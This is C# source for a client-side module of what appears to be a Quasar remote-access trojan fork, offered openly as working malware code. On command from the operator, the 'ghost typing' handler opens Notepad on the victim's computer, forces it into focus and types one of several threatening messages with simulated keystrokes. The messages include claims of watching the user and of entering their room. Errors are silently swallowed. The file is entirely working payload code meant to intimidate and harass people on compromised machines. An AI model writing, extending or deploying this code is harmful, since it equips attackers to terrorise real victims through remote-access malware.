116 lines
3.9 KiB
C#
116 lines
3.9 KiB
C#
using Quasar.Common.Messages;
|
|
using Quasar.Common.Networking;
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.Runtime.InteropServices;
|
|
using System.Threading;
|
|
|
|
namespace Quasar.Client.Messages
|
|
{
|
|
public class GhostTypingHandler : IMessageProcessor
|
|
{
|
|
[DllImport("user32.dll")] private static extern bool SetForegroundWindow(IntPtr hWnd);
|
|
[DllImport("user32.dll")] private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
|
|
[DllImport("user32.dll")] private static extern IntPtr GetForegroundWindow();
|
|
[DllImport("user32.dll")] private static extern short VkKeyScan(char ch);
|
|
[DllImport("user32.dll")] private static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo);
|
|
|
|
private const int SW_RESTORE = 9;
|
|
private const uint KEYEVENTF_KEYUP = 0x0002;
|
|
private const byte VK_SHIFT = 0x10;
|
|
|
|
private static readonly string[] Messages =
|
|
{
|
|
"I know you can hear me.",
|
|
"Stop pretending you're alone.",
|
|
"I've been watching you for a while now.",
|
|
"Did you hear that? No? You will.",
|
|
"You should close the curtains.",
|
|
"I'm closer than you think.",
|
|
"Did you check under the bed?",
|
|
"Someone was in your room last night.",
|
|
"Don't turn around.",
|
|
"I can see your face right now.",
|
|
"You really should lock your doors.",
|
|
"Have you noticed anything missing lately?",
|
|
"The calls are coming from inside the house.",
|
|
"I'll be there soon. Don't worry.",
|
|
"We've been here the whole time.",
|
|
};
|
|
|
|
public bool CanExecute(IMessage message) => message is DoGhostTyping;
|
|
public bool CanExecuteFrom(ISender sender) => true;
|
|
|
|
public void Execute(ISender sender, IMessage message)
|
|
{
|
|
new Thread(Run) { IsBackground = true }.Start();
|
|
}
|
|
|
|
private static void TypeChar(char c)
|
|
{
|
|
short vk = VkKeyScan(c);
|
|
if (vk == -1) return;
|
|
|
|
byte key = (byte)(vk & 0xFF);
|
|
bool shift = ((vk >> 8) & 1) != 0;
|
|
|
|
if (shift) keybd_event(VK_SHIFT, 0, 0, 0);
|
|
keybd_event(key, 0, 0, 0);
|
|
keybd_event(key, 0, KEYEVENTF_KEYUP, 0);
|
|
if (shift) keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
|
|
}
|
|
|
|
private static void Run()
|
|
{
|
|
try
|
|
{
|
|
var rng = new Random();
|
|
string text = Messages[rng.Next(Messages.Length)];
|
|
|
|
var proc = Process.Start("notepad.exe");
|
|
if (proc == null) return;
|
|
|
|
// wait for window handle
|
|
IntPtr hwnd = IntPtr.Zero;
|
|
for (int i = 0; i < 40; i++)
|
|
{
|
|
Thread.Sleep(200);
|
|
proc.Refresh();
|
|
if (proc.MainWindowHandle != IntPtr.Zero)
|
|
{
|
|
hwnd = proc.MainWindowHandle;
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (hwnd == IntPtr.Zero) return;
|
|
|
|
ShowWindow(hwnd, SW_RESTORE);
|
|
|
|
// keep trying to focus until it actually has it
|
|
for (int i = 0; i < 20; i++)
|
|
{
|
|
SetForegroundWindow(hwnd);
|
|
Thread.Sleep(100);
|
|
if (GetForegroundWindow() == hwnd) break;
|
|
}
|
|
|
|
Thread.Sleep(rng.Next(1200, 2500));
|
|
|
|
foreach (char c in text)
|
|
{
|
|
if (GetForegroundWindow() != hwnd)
|
|
SetForegroundWindow(hwnd);
|
|
|
|
TypeChar(c);
|
|
Thread.Sleep(rng.Next(80, 200));
|
|
|
|
if (rng.Next(8) == 0)
|
|
Thread.Sleep(rng.Next(400, 900));
|
|
}
|
|
}
|
|
catch { }
|
|
}
|
|
}
|
|
}
|